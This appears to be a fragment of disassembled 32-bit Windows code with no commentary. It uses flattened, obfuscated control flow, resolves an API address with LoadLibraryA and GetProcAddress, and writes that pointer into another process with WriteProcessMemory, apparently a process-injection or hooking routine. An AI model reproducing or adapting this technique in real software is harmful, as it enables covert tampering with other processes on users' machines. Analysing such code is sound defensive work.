mov dword [esp + 0x24], 0x7947c72f
jmp 0x100056a9
mov dword [esp + 0x24], 0x27ee9617
jmp 0x100056a9
mov eax, dword [esp + 0x94]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov ecx, eax
mov eax, dword [esp + 0x90]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
mov dword [esp + 0xb8], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [esp + 0x34]
add ecx, dword [esp + 0x3c]
mov edx, dword [ebp + 8]
lea eax, [esp + 0xb8]
xor esi, esi
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub esp, 0x14
mov dword [esp + 0x24], 0xfa1d077f
jmp 0x100056a9
mov eax, dword [esp + 0x98]
mov dword [esp + 0x24], 0xfcdd7bb8
jmp 0x100056a9
mov dword [esp + 0x24], 0xd0500607
jmp 0x100056a9
mov eax, dword [esp + 0x44]
xor ecx, ecx
sub ecx, 0x14
sub eax, ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x24], 0x692877f3
jmp 0x10003da1